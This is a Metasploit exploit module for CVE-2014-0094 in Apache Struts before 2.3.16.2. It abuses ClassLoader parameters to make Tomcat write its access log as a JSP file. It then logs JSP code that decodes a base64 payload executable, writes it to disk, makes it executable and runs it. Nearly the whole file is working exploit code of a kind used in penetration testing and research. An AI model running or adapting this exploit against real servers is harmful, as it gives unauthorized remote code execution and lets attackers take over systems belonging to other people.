##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
        access to 'class' parameter which is directly mapped to getClass() method and
        allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
        Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas and Przemyslaw Celej', # Vulnerability Discovery
          'Alvaro Munoz', # PoC
          'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-0094'],
          [ 'URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'windows'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/hello_world/hello.action"])
    ], self.class)
  end


  def exec_cmd(uri, cmd = "")
    resp = send_request_cgi({
            'uri'     => uri+cmd,
            'version' => '1.1',
            'method'  => 'GET',
    })

    return resp
  end


  def peer
    "#{rhost}:#{rport}"
  end

  def exploit

    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))

    vprint_status("#{peer} - Modifying class loader")

    # Modifies classLoader parameters
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"

    jsp_file = prefix_jsp
    jsp_file << date_format
    jsp_file << ".jsp"

    vprint_status("#{peer} - created file at http://#{peer}/#{jsp_file}")

    sleep(3)

    # Inexistent URI that logs on previously created log file (with ".jsp" suffix) 
    uri = String.new(datastore['TARGETURI'])
    uri << rand_text_alphanumeric(4+rand(4))
    uri << "?"
    uri << rand_text_alphanumeric(1+rand(1))
    uri << "="


    payload_exe = generate_payload_exe

    payload_file = rand_text_alphanumeric(4+rand(4))
    register_files_for_cleanup("#{payload_file}", "#{jsp_file}")

    # Commands to be logged
    exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
    exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
    exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")

    exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
    exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
    exec_cmd(uri, "<% oFile.flush(); %>")
    exec_cmd(uri, "<% oFile.close(); %>")
    exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
    exec_cmd(uri, "<% f.setExecutable(true); %>")
    exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")

    vprint_status("#{peer} - Waiting 10 seconds...")

    sleep(10)

    vprint_status("#{peer} - Accessing http://#{peer}/#{jsp_file}")

    # Access the log (with ".jsp" extension) in order to execute the JSP notation logged sentences
    uri = "/"
    uri << jsp_file

    exec_cmd(uri)

  end

end